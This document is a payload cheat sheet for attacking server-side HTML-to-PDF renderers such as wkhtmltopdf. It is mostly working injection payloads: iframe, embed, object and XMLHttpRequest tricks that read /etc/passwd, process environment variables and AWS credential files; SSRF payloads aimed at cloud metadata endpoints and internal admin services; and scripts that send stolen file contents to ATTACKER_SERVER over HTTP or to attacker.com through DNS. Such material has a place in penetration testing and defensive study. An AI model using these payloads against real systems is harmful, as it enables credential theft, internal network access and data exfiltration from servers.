PDF Generation Attacks

# Step 1 — does markup render? Submit a formatting tag in a field that
# ends up in the PDF (name, address, note, comment):
<b>pentest-marker</b>

# Step 2 — does JavaScript execute? Submit a script that writes to output:
<script>document.write('XSS-CONFIRMED')</script>

# If the marker renders as bold text, input reaches the HTML parser.
# If "XSS-CONFIRMED" appears in the PDF (or your callback fires), JS is
# enabled — the renderer is now a viable SSRF/file-read primitive.
# Only then do the file-read, SSRF, and exfiltration payloads below apply.

# If user input is rendered in the PDF, inject HTML/JS to read local files:

# iframe method (works on wkhtmltopdf):
<iframe src="file:///etc/passwd" width="800" height="500"></iframe>

# embed method:
<embed src="file:///etc/passwd" type="text/plain" width="800" height="500">

# object method:
<object data="file:///etc/passwd" type="text/plain" width="800" height="500"></object>

# JavaScript XMLHttpRequest (if JS is enabled):
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'file:///etc/passwd', false);
  xhr.send();
  document.write('<pre>' + xhr.responseText + '</pre>');
</script>

# Note: the Fetch API rejects file:// URLs. Realistic local-file read
# depends on renderer configuration (e.g. wkhtmltopdf
# --enable-local-file-access) or a headless browser launched with local
# file access enabled.

# Read environment variables (Linux):
<iframe src="file:///proc/self/environ" width="800" height="500"></iframe>

# Read AWS credentials:
<iframe src="file:///home/app/.aws/credentials" width="800" height="500"></iframe>

# Force the PDF generator to make HTTP requests to internal services:

# Image tag SSRF:
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">

# Link tag:
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">

# Azure IMDS requires the "Metadata: true" header and rejects requests that
# carry X-Forwarded-For — plain <img>/<link> tags cannot set headers:
# http://169.254.169.254/metadata/instance?api-version=2021-02-01

# JavaScript-based SSRF:
<script>
  var img = new Image();
  img.src = 'http://internal-api:8080/admin?data=' + 
    btoa(document.documentElement.innerHTML);
</script>

# Redirect chain:
<meta http-equiv="refresh" content="0;url=http://169.254.169.254/latest/meta-data/">

# CSS-based SSRF:
<style>
  @import url('http://169.254.169.254/latest/meta-data/');
  body { background: url('http://internal:8080/admin'); }
</style>

# SVG-based SSRF:
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://169.254.169.254/latest/meta-data/" />
</svg>

# If the PDF is returned to the attacker, data appears in the rendered PDF.
# If NOT, exfiltrate via outbound HTTP:

<script>
  // Read a local file and exfiltrate it:
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'file:///etc/passwd', false);
  xhr.send();
  var data = btoa(xhr.responseText);
  
  // Exfiltrate via image request:
  var img = new Image();
  img.src = 'http://ATTACKER_SERVER/exfil?data=' + data;
</script>

# DNS-based exfiltration (if HTTP is blocked) — base64 emits + / = which are
# invalid in DNS labels, so hex-encode the data instead:
<script>
  var data = Array.from('sensitive-data').map(function(c) {
    return c.charCodeAt(0).toString(16);
  }).join('');
  var img = new Image();
  img.src = 'http://' + data + '.attacker.com/x.png';
</script>